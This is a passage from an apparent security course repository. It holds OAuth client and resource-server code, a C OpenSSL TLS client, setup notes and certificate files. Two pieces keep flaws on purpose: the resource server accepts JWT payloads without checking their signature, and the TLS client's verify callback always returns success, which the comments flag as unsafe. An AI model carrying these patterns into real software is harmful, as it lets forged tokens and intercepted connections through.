Resource", 24 | "description": "This data has been protected by OAuth 2.0" 25 | }; 26 | 27 | var getAccessToken = function(req, res, next) { 28 | // check the auth header first 29 | var auth = req.headers['authorization']; 30 | var inToken = null; 31 | if (auth && auth.toLowerCase().indexOf('bearer') == 0) { 32 | inToken = auth.slice('bearer '.length); 33 | } else if (req.body && req.body.access_token) { 34 | // not in the header, check in the form body 35 | inToken = req.body.access_token; 36 | } else if (req.query && req.query.access_token) { 37 | inToken = req.query.access_token 38 | } 39 | 40 | console.log('Incoming token: %s', inToken); 41 | // 42 | // COMMENTED 43 | // 44 | // nosql.one(function(token) { 45 | // if (token.access_token == inToken) { 46 | // return token; 47 | // } 48 | // }, function(err, token) { 49 | // if (token) { 50 | // console.log("We found a matching token: %s", inToken); 51 | // } else { 52 | // console.log('No matching token was found.'); 53 | // } 54 | // req.access_token = token; 55 | // next(); 56 | // return; 57 | // }); 58 | // 59 | // ADDED: 60 | // 61 | // Now it’s time to have our protected resource check the incoming token for its infor- 62 | // mation instead of looking up the token value in a database. 63 | // First we need to parse the token by performing the opposite actions that the authorization server used 64 | // to create it: we split it on the dot characters to get the different sections. Then we’ll 65 | // decode the second part, the payload, from Base64 URL and parse the result as a JSON 66 | // object. 67 | var tokenParts = inToken.split('.'); 68 | var payload = JSON.parse(base64url.decode(tokenParts[1])); 69 | console.log('Payload', payload); 70 | // 71 | // We’re going to make sure that the token is coming from the expected issuer, that its timestamps fit 72 | // the right ranges, and that our resource server is the intended audience of the token. 73 | // Although these kinds of checks are often strung together with boolean logic, we’ve 74 | // broken these out into individual if statements so that each check can be read more 75 | // clearly and independently. 76 | if (payload.iss == 'http://localhost:9001/') { 77 | console.log('issuer OK'); 78 | if ((Array.isArray(payload.aud) && __.contains(payload.aud, 'http://localhost:9002/')) || 79 | payload.aud == 'http://localhost:9002/') { 80 | console.log('Audience OK'); 81 | 82 | var now = Math.floor(Date.now() / 1000); 83 | 84 | if (payload.iat <= now) { 85 | console.log('issued-at OK'); 86 | if (payload.exp >= now) { 87 | console.log('expiration OK'); 88 | 89 | console.log('Token valid!'); 90 | 91 | req.access_token = payload; 92 | } 93 | } 94 | } 95 | 96 | } 97 | 98 | // If all of those checks pass, we’ll hand the token’s parsed payload on to the rest of the 99 | // application, which can make authorization decisions based on fields such as the sub- 100 | // ject, if it so chooses. This is analogous to loading the data stored by the authorization 101 | // server in its database in the previous version of the application. 102 | next(); 103 | return; 104 | }; 105 | 106 | app.options('/resource', cors()); 107 | app.post("/resource", cors(), getAccessToken, function(req, res){ 108 | 109 | if (req.access_token) { 110 | res.json(resource); 111 | } else { 112 | res.status(401).end(); 113 | } 114 | 115 | }); 116 | 117 | var server = app.listen(9002, 'localhost', function () { 118 | var host = server.address().address; 119 | var port = server.address().port; 120 | 121 | console.log('OAuth Resource Server is listening at http://%s:%s', host, port); 122 | }); 123 | 124 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/TLS_Client_with_callback/tls_client_with_callback.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define CHK_SSL(err) if ((err) < 1) { ERR_print_errors_fp(stderr); exit(2); } 7 | 8 | int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx) 9 | { 10 | char buf[300]; 11 | 12 | X509* cert = X509_STORE_CTX_get_current_cert(x509_ctx); 13 | X509_NAME_oneline(X509_get_subject_name(cert), buf, 300); 14 | printf("subject= %s\n", buf); 15 | 16 | if (preverify_ok == 1) { 17 | printf("Verification passed.\n"); 18 | // return 1; // The right way 19 | } else { 20 | int err = X509_STORE_CTX_get_error(x509_ctx); 21 | printf("Verification failed: %s.\n", 22 | X509_verify_cert_error_string(err)); 23 | // return 0; // The right way 24 | } 25 | 26 | /* For the experiment purpose, we always return 1, regardless of 27 | * whether the verification is successful or not. This way, the 28 | * TLS handshake protocol will continue. This is not safe! 29 | * Readers should not blindly copy the following line. We will 30 | * discuss the correct return value later. 31 | */ 32 | return 1; 33 | } 34 | 35 | 36 | SSL* setupTLSClient(const char* hostname) 37 | { 38 | // Step 0: OpenSSL library initialization 39 | // This step is no longer needed as of version 1.1.0. 40 | SSL_library_init(); 41 | SSL_load_error_strings(); 42 | 43 | // Step 1: SSL context initialization 44 | SSL_METHOD *meth = (SSL_METHOD *)TLSv1_2_method(); 45 | SSL_CTX* ctx = SSL_CTX_new(meth); 46 | SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback); 47 | // Use in www.facebook.com, www.example.com 48 | SSL_CTX_load_verify_locations(ctx, NULL, "./cert"); // If you have a certification chain with 3 or more certificates 49 | // Use in bank32.com 50 | // SSL_CTX_load_verify_locations(ctx, "./cert/modelCA_cert.pem", NULL); // If you have a CA root + a leaf certificate 51 | 52 | 53 | // Step 2: Create a new SSL structure for a connection 54 | SSL* ssl = SSL_new (ctx); 55 | 56 | // Step 3: Enable the hostname check by calling verify_callback function 57 | X509_VERIFY_PARAM *vpm = SSL_get0_param(ssl); 58 | X509_VERIFY_PARAM_set1_host(vpm, hostname, 0); 59 | 60 | return ssl; 61 | } 62 | 63 | int setupTCPClient(const char* hostname, int port) 64 | { 65 | struct sockaddr_in server_addr; 66 | 67 | // Get the IP address from hostname 68 | struct hostent* hp = gethostbyname(hostname); 69 | 70 | // Create a TCP socket 71 | int sockfd= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 72 | 73 | // Fill in the destination information (IP, port #, and family) 74 | memset (&server_addr, '\0', sizeof(server_addr)); 75 | memcpy(&(server_addr.sin_addr.s_addr), hp->h_addr, hp->h_length); 76 | server_addr.sin_port = htons (port); 77 | server_addr.sin_family = AF_INET; 78 | 79 | // Connect to the destination 80 | connect(sockfd, (struct sockaddr*) &server_addr, 81 | sizeof(server_addr)); 82 | 83 | return sockfd; 84 | } 85 | 86 | 87 | int main(int argc, char *argv[]) 88 | { 89 | 90 | 91 | // char *hostname = "localhost"; 92 | // int port = 8080; 93 | 94 | // Test #1 95 | // char *hostname = "bank32.com"; 96 | // int port = 8085; 97 | 98 | // Test #2 - Activate and deactivate verification 99 | char *hostname = "www.facebook.com"; 100 | int port = 443; 101 | 102 | 103 | // Test #3 104 | // char *hostname = "www.example.com"; 105 | // int port = 443; 106 | 107 | 108 | if (argc > 1) hostname = argv[1]; 109 | if (argc > 2) port = atoi(argv[2]); 110 | 111 | // TLS initialization and create TCP connection 112 | SSL *ssl = setupTLSClient(hostname); 113 | int sockfd = setupTCPClient(hostname, port); 114 | 115 | // TLS handshake 116 | SSL_set_fd(ssl, sockfd); 117 | int err = SSL_connect(ssl); CHK_SSL(err); 118 | printf("SSL connection is successful\n"); 119 | printf ("SSL connection using %s\n", SSL_get_cipher(ssl)); 120 | 121 | // Send and Receive data 122 | char buf[9000]; 123 | char sendBuf[200]; 124 | 125 | sprintf(sendBuf, "GET / HTTP/1.1\nHost: %s\n\n", hostname); 126 | SSL_write(ssl, sendBuf, strlen(sendBuf)); 127 | 128 | int len; 129 | do { 130 | len = SSL_read (ssl, buf, sizeof(buf) - 1); 131 | buf[len] = '\0'; 132 | printf("%s\n",buf); 133 | } while (len > 0); 134 | } 135 | 136 | 137 | -------------------------------------------------------------------------------- /Semana 9/Aula 26 e 27/OAuth2/ex-1/README_CommandLine.txt: -------------------------------------------------------------------------------- 1 | Open 3 console windows, one for each server: authorization server, protected resource server, and client server. 2 | In each, run: 3 | 4 | npm install 5 | 6 | Then, start each server in its own window 7 | 8 | node authorizationServer.js 9 | 10 | node protectedResource.js 11 | 12 | node client.js 13 | 14 | Open a Web browser and enter client URI (OAuth Client is listening at http://127.0.0.1:9000) 15 | 16 | 1. Define client-id and client-secret 17 | 18 | var client = { 19 | "client_id": "oauth-client-1", 20 | "client_secret": "oauth-client-secret-1", 21 | "redirect_uris": ["http://localhost:9000/callback"] 22 | }; 23 | 24 | 2. '/authorize' route 25 | 26 | // To initiate the authorization process, we need to redirect the user to the server’s autho- 27 | // rization endpoint and include all of the appropriate query parameters on that URL. 28 | var authorizeUrl = buildUrl(authServer.authorizationEndpoint, { 29 | response_type: 'code', 30 | client_id: client.client_id, 31 | redirect_uri: client.redirect_uris[0] 32 | }); 33 | // Now we can send an HTTP redirect to the user’s browser, which will send them to the 34 | // authorization endpoint. 35 | // The redirect function is part of the express.js framework and sends an HTTP 36 | // 302 Redirect message to the browser in response to the request on http:// 37 | // localhost:9000/authorize . 38 | res.redirect(authorizeUrl); 39 | 40 | 41 | 42 | 3. '/callback' route 43 | 44 | // read back the authorization code from the authorization server, in the code parameter. 45 | var code = req.query.code; 46 | 47 | console.log('code = %s', code); 48 | 49 | // Now we need to take this authorization code and send it directly to the token endpoint 50 | // using an HTTP POST. We’ll include the code as a form parameter in the request body. 51 | var form_data = qs.stringify({ 52 | grant_type: 'authorization_code', 53 | code: code, 54 | redirect_uri: client.redirect_uris[0] 55 | }); 56 | // NOTE: 57 | // According to the OAuth specification, if the redirect URI is 58 | // specified in the authorization request, that same URI must also be included in the 59 | // token request. This practice prevents an attacker from using a compromised redirect 60 | // URI with an otherwise well-meaning client by injecting an authorization code from 61 | // one session into another. 62 | 63 | // We also need to send a few headers to tell the server that this is an HTTP form- 64 | // encoded request, as well as authenticate our client using HTTP Basic. The Authori- 65 | // zation header in HTTP Basic is a base64 encoded string made by concatenating the 66 | // username and password together, separated by a single colon (:) character. OAuth 2.0 67 | // tells us to use the client ID as the username and the client secret as the password, but 68 | // with each of these being URL encoded first. 1 We’ve given you a simple utility function 69 | // to handle the details of the HTTP Basic encoding. 70 | var headers = { 71 | 'Content-Type': 'application/x-www-form-urlencoded', 72 | 'Authorization': 'Basic ' + encodeClientCredentials(client.client_id, 73 | client.client_secret) 74 | }; 75 | // We’ll then need to wire that in with a POST request to the server’s authorization 76 | // endpoint: 77 | var tokRes = request('POST', authServer.tokenEndpoint, 78 | { 79 | body: form_data, 80 | headers: headers 81 | }); 82 | 83 | console.log('Requesting access token for code %s',code); 84 | if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) { 85 | // If the request is successful, the authorization server will return a JSON object which 86 | // includes the access token value, among a few other things. 87 | var body = JSON.parse(tokRes.getBody()); 88 | // Save this token so that we can use it later 89 | access_token = body.access_token; 90 | 91 | console.log('Got access token: %s', access_token); 92 | 93 | res.render('index', {access_token: access_token, scope: scope}); 94 | } else { 95 | res.render('error', 96 | {error: 'Unable to fetch access token, server response: ' + tokRes.statusCode}) 97 | } 98 | 99 | 100 | 101 | 4. '/fetch_resource' route 102 | 103 | if (!access_token) { 104 | res.render('error', {error: 'Missing access token.'}); 105 | return; 106 | } 107 | // We need to send the token using the OAuth-defined 108 | // Authorization: Bearer header, with the token as the value of the header. 109 | var headers = { 110 | 'Authorization': 'Bearer ' + access_token 111 | }; 112 | var resource = request('POST', protectedResource, 113 | {headers: headers} 114 | ); 115 | // This sends a request to the protected resource. If it’s successful, we’ll parse the returned 116 | // JSON and hand it to our data template. Otherwise, we’ll send the user to an error page. 117 | if (resource.statusCode >= 200 && resource.statusCode < 300) { 118 | var body = JSON.parse(resource.getBody()); 119 | res.render('data', {resource: body}); 120 | return; 121 | } else { 122 | res.render('error', {error: 'Server returned response code: ' + resource. 123 | statusCode}); 124 | return; 125 | } 126 | 127 | 128 | -------------------------------------------------------------------------------- /Semana 4/Aula 10/intermediate-ca-chain.pem: -------------------------------------------------------------------------------- 1 | 2 | 1 s:C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert SHA2 Extended Validation Server CA 3 | i:C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA 4 | -----BEGIN CERTIFICATE----- 5 | MIIEtjCCA56gAwIBAgIQDHmpRLCMEZUgkmFf4msdgzANBgkqhkiG9w0BAQsFADBs 6 | MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 7 | d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j 8 | ZSBFViBSb290IENBMB4XDTEzMTAyMjEyMDAwMFoXDTI4MTAyMjEyMDAwMFowdTEL 9 | MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3 10 | LmRpZ2ljZXJ0LmNvbTE0MDIGA1UEAxMrRGlnaUNlcnQgU0hBMiBFeHRlbmRlZCBW 11 | YWxpZGF0aW9uIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC 12 | ggEBANdTpARR+JmmFkhLZyeqk0nQOe0MsLAAh/FnKIaFjI5j2ryxQDji0/XspQUY 13 | uD0+xZkXMuwYjPrxDKZkIYXLBxA0sFKIKx9om9KxjxKws9LniB8f7zh3VFNfgHk/ 14 | LhqqqB5LKw2rt2O5Nbd9FLxZS99RStKh4gzikIKHaq7q12TWmFXo/a8aUGxUvBHy 15 | /Urynbt/DvTVvo4WiRJV2MBxNO723C3sxIclho3YIeSwTQyJ3DkmF93215SF2AQh 16 | cJ1vb/9cuhnhRctWVyh+HA1BV6q3uCe7seT6Ku8hI3UarS2bhjWMnHe1c63YlC3k 17 | 8wyd7sFOYn4XwHGeLN7x+RAoGTMCAwEAAaOCAUkwggFFMBIGA1UdEwEB/wQIMAYB 18 | Af8CAQAwDgYDVR0PAQH/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEF 19 | BQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRp 20 | Z2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2Vy 21 | dC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2 22 | MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5j 23 | b20vQ1BTMB0GA1UdDgQWBBQ901Cl1qCt7vNKYApl0yHU+PjWDzAfBgNVHSMEGDAW 24 | gBSxPsNpA/i/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAnbbQkIbh 25 | hgLtxaDwNBx0wY12zIYKqPBKikLWP8ipTa18CK3mtlC4ohpNiAexKSHc59rGPCHg 26 | 4xFJcKx6HQGkyhE6V6t9VypAdP3THYUYUN9XR3WhfVUgLkc3UHKMf4Ib0mKPLQNa 27 | 2sPIoc4sUqIAY+tzunHISScjl2SFnjgOrWNoPLpSgVh5oywM395t6zHyuqB8bPEs 28 | 1OG9d4Q3A84ytciagRpKkk47RpqF/oOi+Z6Mo8wNXrM9zwR4jxQUezKcxwCmXMS1 29 | oVWNWlZopCJwqjyBcdmdqEU79OX2olHdx3ti6G8MdOu42vi/hw15UJGQmxg7kVkn 30 | 8TUoE6smftX3eg== 31 | -----END CERTIFICATE----- 32 | 2 s:C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA 33 | i:C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Transition RSA Root 34 | -----BEGIN CERTIFICATE----- 35 | MIIEgTCCA2mgAwIBAgIQDt+vRguxNkcljEV7K5Y1gDANBgkqhkiG9w0BAQsFADBm 36 | MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 37 | d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBUcmFuc2l0aW9uIFJT 38 | QSBSb290MB4XDTE4MDgxMzEyMTIzOFoXDTIyMTEwNDE4MDAwMFowbDELMAkGA1UE 39 | BhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2lj 40 | ZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2UgRVYgUm9v 41 | dCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t 42 | Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRK 43 | zE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvL 44 | WokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeB 45 | QVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3hzBWBOUR 46 | tCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsgEsxBu24L 47 | UTi4S8sCAwEAAaOCASMwggEfMB0GA1UdDgQWBBSxPsNpA/i/RwHUmCYaCALvY2Qr 48 | wzAfBgNVHSMEGDAWgBSQR4obhNOg36Qk1hm0F/Uho7KbqDAOBgNVHQ8BAf8EBAMC 49 | AYYwDwYDVR0TAQH/BAUwAwEB/zA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGG 50 | GGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBHBgNVHR8EQDA+MDygOqA4hjZodHRw 51 | Oi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcmFuc2l0aW9uUlNBUm9vdC5j 52 | cmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3 53 | LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBAFfVEYmzgtk7LAZo 54 | /tMZBohZw0Kt365oY5uqfBriB0RGw5l23XCoDMX+M/m1gDOmUYukZDZmt8qBb05o 55 | 9v6F1UKxVZzdZg7hjFfqeXSkMgedBKh6IngcpktpLXfikKpQAfjHFRSmSHMo62M3 56 | 4PKbaQrWukAtW4CH9d6jDvbF+/y8miRWb87eDH2q+sTAWzWeF4b0az0LvuRNUztd 57 | hM+Z1af6ar1CJt+VYK7U6hY9CdP+hLx1OmbkVv91aXdlZhrZHQrV6fobmKych0zd 58 | 2PFms2BYDT+lP4dX8MNvltleZ0EHvHPN+K49jdqX6JMi8VsCsUTLPB5e4tPB3rKB 59 | hUjKXh8= 60 | -----END CERTIFICATE----- 61 | 3 s:C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Transition RSA Root 62 | i:C = US, O = "VeriSign, Inc.", OU = VeriSign Trust Network, OU = "(c) 2006 VeriSign, Inc. - For authorized use only", CN = VeriSign Class 3 Public Primary Certification Authority - G5 63 | -----BEGIN CERTIFICATE----- 64 | MIIE5DCCA8ygAwIBAgIQeK6kMcFc63V7DYphCnSOZzANBgkqhkiG9w0BAQsFADCB 65 | yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL 66 | ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJp 67 | U2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxW 68 | ZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0 69 | aG9yaXR5IC0gRzUwHhcNMTcxMTA2MDAwMDAwWhcNMjIxMTA1MjM1OTU5WjBmMQsw 70 | CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu 71 | ZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBUcmFuc2l0aW9uIFJTQSBS 72 | b290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsD7YRmMy30kfYW2u 73 | 38l/K7FjoafmRjU0DtSlPRKvBGrV+LqnZZPsZsXK62gBJGkfr7CjWa88WzlEKWBu 74 | i0GYSSHYGBPTQVX+qiJ+p1FKptAjX3OEopy0yxfQZSSH6YDLtzyhEPWXtQ2d7Pe6 75 | W6MLZesSdalGdA2A1wgTkyFXxjg9qEs7C28Y5bNM98LNGPlYLQMzG/wW3ZBOwh83 76 | nNZ7YZbxxSaHUuPipPgV5Uwi6QkrldGT+To5dnQqC4C+vg7TEAvi4UimJAVpPRf9 77 | xzchsrDjd0c5hwHgTtsj6Pk5nzZGZiMexyJRRD8zxfV2qfgGsHnM7kHccY4NUI6w 78 | PEir9QIDAQABo4IBJzCCASMwHQYDVR0OBBYEFJBHihuE06DfpCTWGbQX9SGjspuo 79 | MA8GA1UdEwEB/wQFMAMBAf8wXwYDVR0gBFgwVjBUBgRVHSAAMEwwIwYIKwYBBQUH 80 | AgEWF2h0dHBzOi8vZC5zeW1jYi5jb20vY3BzMCUGCCsGAQUFBwICMBkMF2h0dHBz 81 | Oi8vZC5zeW1jYi5jb20vcnBhMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9zLnN5 82 | bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAYYwLgYIKwYBBQUHAQEE 83 | IjAgMB4GCCsGAQUFBzABhhJodHRwOi8vcy5zeW1jZC5jb20wHwYDVR0jBBgwFoAU 84 | f9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAInEqVjZFl2A 85 | xZ2w7MVWSFpRKVoBiZRWzc0qubAWt0vqF2nwfEwo/nOFTzz5hYOZEUP3WuCi+EOM 86 | mizjg/gFUJnc8OfvNjs2SP9doxjQy8FBaBjx9o8MlxxMKmkX3D8kIFrkJmHI/uWS 87 | EL9NnuzybspnHka44/iwaedRzybPBZHPHbfGOolBeCtu6xN6S53aiA69UwiNOE0X 88 | XGXJQtObNTbifmDf5sMk49D8izYeWji81MeMOwc1ZCJG3maKNFtQxUKVaN0MhL4s 89 | 5OQuQgBg+R7XDT1ApvA7XZsXB7fyMEfkiwbXogY3KzyiqYLoDaPjG0zlkUP+PXi5 90 | A4rg1sEFqCw= 91 | -----END CERTIFICATE----- 92 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/cert_server/bank32_cert.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Apr 8 04:59:53 2019 GMT 9 | Not After : Apr 7 04:59:53 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | Public-Key: (2048 bit) 14 | Modulus: 15 | 00:e6:64:32:2a:ac:a0:ee:57:22:50:e8:70:c7:f7: 16 | 06:92:8e:ed:aa:b1:45:91:ad:bd:de:f2:bc:a6:78: 17 | 6e:c9:f2:38:60:a2:69:e8:a2:ec:79:f2:84:dc:54: 18 | 78:5c:ec:37:58:62:16:ae:b8:c1:a3:ea:b8:b1:b1: 19 | a5:3a:e8:99:bb:0a:fe:6f:20:97:23:6f:bf:ef:37: 20 | 65:04:b8:7b:92:f9:60:00:18:76:ad:77:01:b9:7b: 21 | c9:0a:2f:e1:e0:b7:fc:fa:45:20:85:20:86:c6:89: 22 | 0d:78:6b:cf:7c:7b:e9:2c:a3:90:c9:da:1a:ed:3f: 23 | e7:ff:36:08:6d:69:d3:ff:ee:55:9f:f5:78:18:6d: 24 | 81:22:da:7d:8b:36:f6:76:45:79:7a:18:da:ad:bb: 25 | 11:09:5a:45:af:82:f3:eb:d7:90:0d:0d:49:3e:6b: 26 | c8:b6:76:73:08:8c:06:9d:a9:06:fb:8c:83:c1:0a: 27 | cc:8d:30:d6:93:7d:87:70:7b:b8:4a:88:f9:1c:a8: 28 | c2:3e:f9:06:e1:ae:1b:34:f1:3e:c7:25:ab:b4:07: 29 | 49:b7:71:8b:54:40:84:56:1a:30:8d:b1:11:0d:68: 30 | 21:42:ae:e1:7e:7c:7b:94:c9:d1:43:91:f6:97:8b: 31 | cc:63:8c:ef:05:c6:8d:a9:e5:dd:39:55:60:2a:b0: 32 | 81:01 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 85:E2:E9:94:74:5A:7A:F6:46:8F:E6:B8:20:31:EA:2E:89:47:A1:FD 41 | X509v3 Authority Key Identifier: 42 | keyid:7B:21:44:BA:5C:5F:6F:98:78:51:43:C1:68:D8:05:EC:DB:33:98:DC 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 35:d7:f2:4f:fc:3d:5a:36:0e:6b:b3:a9:cb:b7:cc:4d:33:e7: 46 | 8b:23:aa:7a:41:43:83:cb:93:07:fa:af:28:f5:9b:79:62:4b: 47 | 1f:1e:29:44:de:5b:a6:04:33:08:b7:b7:c9:e4:63:26:d8:5d: 48 | a8:f6:0d:9c:e7:c1:22:a9:c3:44:5b:5f:ae:a8:7f:9c:ac:33: 49 | 7b:95:2b:c4:f2:56:c9:92:b9:b5:91:16:0c:32:93:d7:70:0e: 50 | 7c:8f:4e:f4:55:70:69:15:fc:5d:c5:02:de:ff:28:55:0e:cc: 51 | af:f9:ee:1f:e1:0d:95:d7:11:8e:bc:4e:7c:e4:01:5e:f5:d7: 52 | 30:8d:9d:d1:34:a6:31:fc:e9:fb:50:be:4f:84:bd:ec:17:24: 53 | dc:e0:f2:cb:ec:0a:c2:bf:a7:94:b0:3c:16:eb:ee:8a:0c:39: 54 | 82:a2:3c:51:b8:bb:1d:39:a4:5e:1f:ac:67:5a:a5:06:d5:92: 55 | 06:c2:7d:89:37:bc:a0:a3:ad:bd:84:73:56:4a:2c:86:58:62: 56 | 32:3b:2c:7b:77:b2:03:63:5b:81:6b:2f:02:af:82:89:d8:81: 57 | 7e:e0:38:ea:bc:49:aa:0d:d2:fa:2e:ee:fd:a0:18:01:48:38: 58 | 2f:dd:1f:55:69:55:f4:0a:87:44:b7:5a:7e:e9:01:8a:42:46: 59 | 8e:64:7a:72:31:b9:fb:e3:da:9a:0d:2e:1c:38:cb:cf:39:40: 60 | 91:b1:ab:8d:4e:67:3d:2d:00:df:6a:b6:3b:da:ce:4e:4d:2f: 61 | fd:ee:f4:f9:7f:33:7e:cb:ff:fb:10:03:f4:92:80:ee:b8:a3: 62 | 66:a4:8a:16:c7:b9:cc:d9:35:47:8f:87:0a:ae:22:6e:d4:01: 63 | 35:7c:26:a8:aa:f4:d0:d6:03:69:98:a3:f4:33:28:ef:ce:bd: 64 | 7d:85:d6:ef:79:5e:fe:9b:99:20:fc:3f:70:c7:82:7c:31:65: 65 | 85:1a:ac:8e:77:9d:1e:cb:be:5e:35:58:de:4a:ab:7c:cc:d4: 66 | 30:e1:e3:92:7e:b6:72:b0:0b:c0:66:af:46:b6:38:20:36:b1: 67 | e8:c6:45:94:13:7c:ec:c2:0e:0b:eb:cb:c2:45:6d:21:41:84: 68 | 77:54:bd:46:60:88:9b:3b:9b:3c:14:c7:ac:e5:b3:f3:14:a2: 69 | af:e1:bb:c1:80:7b:68:25:ab:8c:e9:1a:f2:32:db:3e:23:ed: 70 | df:d3:cf:fb:f6:8e:a9:e1:09:f8:00:51:cc:b5:46:1a:c3:f6: 71 | 4b:5a:41:b2:c7:ae:d4:14:2a:cc:2e:d7:01:2c:cd:20:59:ef: 72 | c3:6f:15:56:b8:cf:c2:ad:9c:db:cc:d7:ab:0c:87:47:73:5a: 73 | 70:7b:af:55:20:40:5b:48 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MDQwODA0NTk1M1oX 78 | DTIwMDQwNzA0NTk1M1owRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5mQyKqyg7lciUOhwx/cGko7tqrFFka293vK8 81 | pnhuyfI4YKJp6KLsefKE3FR4XOw3WGIWrrjBo+q4sbGlOuiZuwr+byCXI2+/7zdl 82 | BLh7kvlgABh2rXcBuXvJCi/h4Lf8+kUghSCGxokNeGvPfHvpLKOQydoa7T/n/zYI 83 | bWnT/+5Vn/V4GG2BItp9izb2dkV5ehjarbsRCVpFr4Lz69eQDQ1JPmvItnZzCIwG 84 | nakG+4yDwQrMjTDWk32HcHu4Soj5HKjCPvkG4a4bNPE+xyWrtAdJt3GLVECEVhow 85 | jbERDWghQq7hfnx7lMnRQ5H2l4vMY4zvBcaNqeXdOVVgKrCBAQIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUheLplHRaevZGj+a4IDHqLolHof0wHwYDVR0jBBgw 88 | FoAUeyFEulxfb5h4UUPBaNgF7NszmNwwDQYJKoZIhvcNAQELBQADggIBADXX8k/8 89 | 